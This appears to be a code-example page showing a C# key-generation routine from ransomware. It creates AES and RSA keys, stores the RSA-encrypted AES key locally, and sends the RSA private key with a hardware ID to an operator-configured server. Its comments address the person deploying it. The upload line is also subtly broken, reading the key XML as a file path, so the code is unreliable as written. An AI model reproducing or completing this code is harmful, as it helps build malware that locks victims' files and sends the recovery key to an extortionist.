示例#1
0
        public static byte[] GenerateKey()
        {
            var aes = new RijndaelManaged()
            {
                KeySize = 256
            };

            aes.GenerateKey();
            var rsa = new RSACryptoServiceProvider(2048);

            File.WriteAllText("public.txt", rsa.ToXmlString(false)); // Public RSA key to txt file
            if (Config.uploadRSAPrivateKey != null)
            {
                new WebClient().UploadString(Config.uploadRSAPrivateKey,
                                             File.ReadAllText(rsa.ToXmlString(true)) + "ID: " + UniqueID.GetUniqueHardwaeId()); // Upload private key and id to u server
            }
            else
            {
                File.WriteAllText("private.txt", rsa.ToXmlString(true)); //DELETE IT IF U NO DEBUGGING
            }
            File.WriteAllBytes("aes.txt", rsa.Encrypt(aes.Key, false));
            return(aes.Key);
        }